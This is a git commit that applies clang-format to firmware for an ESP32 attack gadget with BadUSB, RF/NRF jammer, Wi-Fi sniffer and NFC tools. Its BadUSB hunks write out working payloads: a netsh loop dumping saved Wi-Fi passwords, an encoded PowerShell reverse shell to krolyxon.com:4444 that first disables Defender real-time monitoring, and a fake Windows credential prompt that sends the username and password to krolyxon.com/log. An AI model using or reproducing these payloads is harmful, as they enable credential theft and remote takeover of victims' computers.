add .clang-format, and apply formatting

This commit is contained in:
krolyxon 2026-05-14 23:19:41 +05:30
parent 206ed22919
commit 58c9c8f51d
27 changed files with 4148 additions and 3923 deletions

4
.clang-format Normal file
View File

@ -0,0 +1,4 @@
BasedOnStyle: LLVM
IndentWidth: 4
TabWidth: 4
UseTab: Never

View File

@ -46,7 +46,8 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
@ -56,7 +57,8 @@ class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
dev.deviceType =
advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}

View File

@ -32,7 +32,6 @@
// #define SD_MOSI 38
// #define SD_CS 37
// =================== Buttons ====================
#define BTN_UP 4
#define BTN_DOWN 5

View File

@ -213,8 +213,8 @@ void badUSBMenu(int index) {
// The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in
// clear text. We use a 'for' loop to automate this for every network the PC
// has ever joined.
// clear text. We use a 'for' loop to automate this for every network
// the PC has ever joined.
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
@ -328,46 +328,67 @@ void badUSBMenu(int index) {
delay(3000); // Give the Admin window time to load
// 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
// We use -EncodedCommand to hide the script from simple string
// scanners. The Base64 string below contains: Set-MpPreference
// -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444
typeSlow(
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A"
"FMAdAByAG"
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA"
"2ADQAUwB0"
"AHIAaQBuAGcAKAAiAEgA"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA"
"cwB0AGUAb"
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC"
"gAJwBrAHI"
"AbwBsAHkAeABvAG4A"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA"
"GMAbABpAG"
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB"
"dACQAYgB5"
"AHQAZQBzACAAPQA"
"gADAALgAuADYAN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AdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
"JABjAGwAa"
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
"BwAHIAZQB"
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
"bwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
"QAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN);
@ -379,17 +400,20 @@ void badUSBMenu(int index) {
// Open hidden PowerShell
runCommand(
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"$host.ui.PromptForCredential('Windows Security','Please "
"authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
"Invoke-WebRequest -Uri "
"'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break;
// ================= DESKTOP GHOST =================
case 12:
showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
runCommand(
"powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
@ -398,7 +422,8 @@ void badUSBMenu(int index) {
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add "
typeSlow(
"reg add "
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");

View File

@ -1,4 +1,5 @@
#pragma once
#include <Arduino.h>
void badUSBMenu(int index);
void showRunningScreen(String taskName, uint8_t duration);

View File

@ -451,11 +451,10 @@ uint8_t Adafruit_PN532::readGPIO(void) {
byte Description
------------- ------------------------------------------
b0..5 Frame header and preamble (with I2C there is an extra 0x00)
b6 P3 GPIO Pins
b7 P7 GPIO Pins (not used ... taken by SPI)
b8 Interface Mode Pins (not used ... bus select pins)
b9..10 checksum */
b0..5 Frame header and preamble (with I2C there is an extra
0x00) b6 P3 GPIO Pins b7 P7 GPIO Pins (not used
... taken by SPI) b8 Interface Mode Pins (not used ... bus
select pins) b9..10 checksum */
int p3offset = 7;
@ -557,7 +556,8 @@ bool Adafruit_PN532::setPassiveActivationRetries(uint8_t maxRetries) {
bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
uint8_t *uidLength, uint16_t timeout) {
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
pn532_packetbuffer[1] =
1; // max 1 cards at once (we can set this to 2 later)
pn532_packetbuffer[2] = cardbaudrate;
if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) {
@ -580,7 +580,8 @@ bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid,
/**************************************************************************/
bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) {
pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET;
pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later)
pn532_packetbuffer[1] =
1; // max 1 cards at once (we can set this to 2 later)
pn532_packetbuffer[2] = cardbaudrate;
return sendCommandCheckAck(pn532_packetbuffer, 3);
@ -784,7 +785,8 @@ bool Adafruit_PN532::inListPassiveTarget() {
pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) {
if (pn532_packetbuffer[7] != 1) {
#ifdef PN532DEBUG
PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted"));
PN532DEBUGPRINT.println(
F("Unhandled number of targets inlisted"));
#endif
PN532DEBUGPRINT.println(F("Number of tags inlisted:"));
PN532DEBUGPRINT.println(pn532_packetbuffer[7]);
@ -798,7 +800,8 @@ bool Adafruit_PN532::inListPassiveTarget() {
return true;
} else {
#ifdef PN532DEBUG
PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host"));
PN532DEBUGPRINT.print(
F("Unexpected response to inlist passive host"));
#endif
return false;
}
@ -1031,12 +1034,15 @@ uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber,
*/
/**************************************************************************/
uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) {
uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1};
uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77,
0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1};
uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1,
0x03, 0xE1, 0x03, 0xE1};
uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5,
0x78, 0x77, 0x88, 0xC1, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF};
// Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A
// for the MAD sector in NDEF records (sector 0)
@ -1106,12 +1112,15 @@ uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
0x00,
0x00,
0x00};
uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07,
0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00};
uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00};
uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7,
0x7F, 0x07, 0x88, 0x40, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF};
if (len <= 6) {
// Unlikely we'll get a url this short, but why not ...
memcpy(sectorbuffer1 + 9, url, len);
@ -1259,7 +1268,8 @@ uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page,
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
pn532_packetbuffer[1] = 1; /* Card number */
pn532_packetbuffer[2] =
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
*/
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
@ -1399,7 +1409,8 @@ uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) {
pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE;
pn532_packetbuffer[1] = 1; /* Card number */
pn532_packetbuffer[2] =
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */
MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2
*/
pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */
memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */
@ -1459,12 +1470,13 @@ uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
0xA0, /* The position inside the tag of the lock bytes (upper 4 = page
address, lower 4 = byte offset) */
0x10, /* Size in bits of the lock area */
0x44, /* Size in bytes of a page and the number of bytes each lock bit can
lock (4 bit + 4 bits) */
0x44, /* Size in bytes of a page and the number of bytes each lock bit
can lock (4 bit + 4 bits) */
/* NDEF Message TLV - URI Record */
0x03, /* Tag Field (0x03 = NDEF Message) */
(uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */
0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */
0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB)
*/
0x01, /* Type Length for the record type indicator */
(uint8_t)(len + 1), /* Payload len */
0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */

View File

@ -165,7 +165,8 @@ public:
// ISO14443A functions
bool readPassiveTargetID(
uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
uint16_t timeout = 0); // timeout 0 means no timeout - will block forever.
uint16_t timeout =
0); // timeout 0 means no timeout - will block forever.
bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
@ -180,7 +181,8 @@ public:
bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
uint32_t blockNumber,
uint8_t keyNumber, uint8_t *keyData);
uint8_t keyNumber,
uint8_t *keyData);
uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
uint8_t mifareclassic_FormatNDEF(void);

View File

@ -1,18 +1,17 @@
#include "BleConnectionStatus.h"
BleConnectionStatus::BleConnectionStatus(void) {
}
BleConnectionStatus::BleConnectionStatus(void) {}
void BleConnectionStatus::onConnect(BLEServer* pServer)
{
void BleConnectionStatus::onConnect(BLEServer *pServer) {
this->connected = true;
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
BLEUUID((uint16_t)0x2902));
desc->setNotifications(true);
}
void BleConnectionStatus::onDisconnect(BLEServer* pServer)
{
void BleConnectionStatus::onDisconnect(BLEServer *pServer) {
this->connected = false;
BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
BLEUUID((uint16_t)0x2902));
desc->setNotifications(false);
}

View File

@ -3,12 +3,11 @@
#include "sdkconfig.h"
#if defined(CONFIG_BT_ENABLED)
#include <BLEServer.h>
#include "BLE2902.h"
#include "BLECharacteristic.h"
#include <BLEServer.h>
class BleConnectionStatus : public BLEServerCallbacks
{
class BleConnectionStatus : public BLEServerCallbacks {
public:
BleConnectionStatus(void);
bool connected = false;

View File

@ -1,12 +1,12 @@
#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEServer.h>
#include "BLE2902.h"
#include "BLEHIDDevice.h"
#include "HIDTypes.h"
#include "HIDKeyboardTypes.h"
#include <driver/adc.h>
#include "HIDTypes.h"
#include "sdkconfig.h"
#include <BLEDevice.h>
#include <BLEServer.h>
#include <BLEUtils.h>
#include <driver/adc.h>
#include "BleConnectionStatus.h"
#include "BleMouse.h"
@ -25,7 +25,8 @@ static const uint8_t _hidReportDescriptor[] = {
COLLECTION(1), 0x01, // COLLECTION (Application)
USAGE(1), 0x01, // USAGE (Pointer)
COLLECTION(1), 0x00, // COLLECTION (Physical)
// ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
// ------------------------------------------------- Buttons (Left, Right,
// Middle, Back, Forward)
USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
@ -37,7 +38,8 @@ static const uint8_t _hidReportDescriptor[] = {
// ------------------------------------------------- Padding
REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
HIDINPUT(1),
0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
// ------------------------------------------------- X/Y position, Wheel
USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
USAGE(1), 0x30, // USAGE (X)
@ -47,7 +49,8 @@ static const uint8_t _hidReportDescriptor[] = {
LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
HIDINPUT(1),
0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
// ------------------------------------------------- Horizontal wheel
USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
@ -60,37 +63,31 @@ static const uint8_t _hidReportDescriptor[] = {
END_COLLECTION(0) // END_COLLECTION
};
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
_buttons(0),
hid(0)
{
BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer,
uint8_t batteryLevel)
: _buttons(0), hid(0) {
this->deviceName = deviceName;
this->deviceManufacturer = deviceManufacturer;
this->batteryLevel = batteryLevel;
this->connectionStatus = new BleConnectionStatus();
}
void BleMouse::begin(void)
{
void BleMouse::begin(void) {
xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
}
void BleMouse::end(void)
{
}
void BleMouse::end(void) {}
void BleMouse::click(uint8_t b)
{
void BleMouse::click(uint8_t b) {
_buttons = b;
move(0, 0, 0, 0);
_buttons = 0;
move(0, 0, 0, 0);
}
void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
{
if (this->isConnected())
{
void BleMouse::move(signed char x, signed char y, signed char wheel,
signed char hWheel) {
if (this->isConnected()) {
uint8_t m[5];
m[0] = _buttons;
m[1] = x;
@ -102,35 +99,24 @@ void BleMouse::move(signed char x, signed char y, signed char wheel, signed char
}
}
void BleMouse::buttons(uint8_t b)
{
if (b != _buttons)
{
void BleMouse::buttons(uint8_t b) {
if (b != _buttons) {
_buttons = b;
move(0, 0, 0, 0);
}
}
void BleMouse::press(uint8_t b)
{
buttons(_buttons | b);
}
void BleMouse::press(uint8_t b) { buttons(_buttons | b); }
void BleMouse::release(uint8_t b)
{
buttons(_buttons & ~b);
}
void BleMouse::release(uint8_t b) { buttons(_buttons & ~b); }
bool BleMouse::isPressed(uint8_t b)
{
bool BleMouse::isPressed(uint8_t b) {
if ((b & _buttons) > 0)
return true;
return false;
}
bool BleMouse::isConnected(void) {
return this->connectionStatus->connected;
}
bool BleMouse::isConnected(void) { return this->connectionStatus->connected; }
void BleMouse::setBatteryLevel(uint8_t level) {
this->batteryLevel = level;
@ -139,16 +125,20 @@ void BleMouse::setBatteryLevel(uint8_t level) {
}
void BleMouse::taskServer(void *pvParameter) {
BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
BleMouse *bleMouseInstance =
(BleMouse *)pvParameter; // static_cast<BleMouse *>(pvParameter);
BLEDevice::init(std::string(bleMouseInstance->deviceName.c_str()));
BLEServer *pServer = BLEDevice::createServer();
pServer->setCallbacks(bleMouseInstance->connectionStatus);
bleMouseInstance->hid = new BLEHIDDevice(pServer);
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(
0); // <-- input REPORTID from report map
bleMouseInstance->connectionStatus->inputMouse =
bleMouseInstance->inputMouse;
bleMouseInstance->hid->manufacturer()->setValue(std::string(bleMouseInstance->deviceManufacturer.c_str()));
bleMouseInstance->hid->manufacturer()->setValue(
std::string(bleMouseInstance->deviceManufacturer.c_str()));
bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
bleMouseInstance->hid->hidInfo(0x00, 0x02);
@ -157,14 +147,16 @@ void BleMouse::taskServer(void* pvParameter) {
pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
bleMouseInstance->hid->reportMap((uint8_t *)_hidReportDescriptor,
sizeof(_hidReportDescriptor));
bleMouseInstance->hid->startServices();
bleMouseInstance->onStarted(pServer);
BLEAdvertising *pAdvertising = pServer->getAdvertising();
pAdvertising->setAppearance(HID_MOUSE);
pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
pAdvertising->addServiceUUID(
bleMouseInstance->hid->hidService()->getUUID());
pAdvertising->start();
bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);

View File

@ -3,16 +3,18 @@
#include "sdkconfig.h"
#if defined(CONFIG_BT_ENABLED)
#include "BleConnectionStatus.h"
#include "BLEHIDDevice.h"
#include "BLECharacteristic.h"
#include "BLEHIDDevice.h"
#include "BleConnectionStatus.h"
#define MOUSE_LEFT 1
#define MOUSE_RIGHT 2
#define MOUSE_MIDDLE 4
#define MOUSE_BACK 8
#define MOUSE_FORWARD 16
#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
#define MOUSE_ALL \
(MOUSE_LEFT | MOUSE_RIGHT | \
MOUSE_MIDDLE) #For compatibility with the Mouse library
class BleMouse {
private:
@ -23,12 +25,16 @@ private:
void buttons(uint8_t b);
void rawAction(uint8_t msg[], char msgSize);
static void taskServer(void *pvParameter);
public:
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse",
std::string deviceManufacturer = "Espressif",
uint8_t batteryLevel = 100);
void begin(void);
void end(void);
void click(uint8_t b = MOUSE_LEFT);
void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
void move(signed char x, signed char y, signed char wheel = 0,
signed char hWheel = 0);
void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
@ -37,6 +43,7 @@ public:
uint8_t batteryLevel;
std::string deviceManufacturer;
std::string deviceName;
protected:
virtual void onStarted(BLEServer *pServer) {};
};

File diff suppressed because it is too large Load Diff

View File

@ -10,7 +10,8 @@
Just have fun!
For the details, please refer to the datasheet of CC1100/CC1101.
----------------------------------------------------------------------------------------------------------------
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
publish Wilson Shen (ELECHOUSE).
----------------------------------------------------------------------------------------------------------------
*/
#ifndef ELECHOUSE_CC1101_SRC_DRV_h
@ -18,7 +19,8 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
#include <Arduino.h>
//***************************************CC1101 define**************************************************//
//***************************************CC1101
//define**************************************************//
// CC1101 CONFIG REGSITER
#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
@ -70,18 +72,23 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
// CC1101 Strobe commands
#define CC1101_SRES 0x30 // Reset chip.
#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
#define CC1101_SFSTXON \
0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
// If in RX/TX: Go to a wait state where only the synthesizer is
// running (for quick RX / TX turnaround).
#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off
#define CC1101_SCAL \
0x33 // Calibrate frequency synthesizer and turn it off
// (enables quick start).
#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and
#define CC1101_SRX \
0x34 // Enable RX. Perform calibration first if coming from IDLE and
// MCSM0.FS_AUTOCAL=1.
#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if
#define CC1101_STX \
0x35 // In IDLE state: Enable TX. Perform calibration first if
// MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
// Only go to TX if channel is clear.
#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit
#define CC1101_SIDLE \
0x36 // Exit RX / TX, turn off frequency synthesizer and exit
// Wake-On-Radio mode if applicable.
#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
@ -89,7 +96,8 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
#define CC1101_SWORRST 0x3C // Reset real time clock.
#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two
#define CC1101_SNOP \
0x3D // No operation. May be used to pad strobe commands to two
// INT8Us for simpler software.
// CC1101 STATUS REGSITER
#define CC1101_PARTNUM 0x30
@ -110,9 +118,9 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
#define CC1101_TXFIFO 0x3F
#define CC1101_RXFIFO 0x3F
//************************************* class **************************************************//
class ELECHOUSE_CC1101
{
//************************************* class
//**************************************************//
class ELECHOUSE_CC1101 {
private:
void SpiStart(void);
void SpiEnd(void);
@ -127,6 +135,7 @@ private:
void Split_MDMCFG1(void);
void Split_MDMCFG2(void);
void Split_MDMCFG4(void);
public:
void Init(void);
byte SpiReadStatus(byte addr);

View File

@ -85,8 +85,8 @@ void pn532_scan_loop() {
uint8_t uidLength;
Serial.println("Scanning...");
success =
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid,
&uidLength, 50);
if (success) {
Serial.println("Card detected");

View File

@ -197,7 +197,8 @@ void NRFToolsMenu(int index) {
break;
case 3:
startJammer("USB Wireless", usbWireless_channels,
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
sizeof(usbWireless_channels) /
sizeof(usbWireless_channels[0]));
break;
case 4:
startJammer("Video TX", videoTransmitter_channels,

View File

@ -1,7 +1,6 @@
#pragma once
struct Menu
{
struct Menu {
const char **items;
int size;
};

View File

@ -25,7 +25,8 @@ static SnifferGraph sniffer;
// ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA ||
type == WIFI_PKT_CTRL) {
sniffer.packetCounter++;
}
}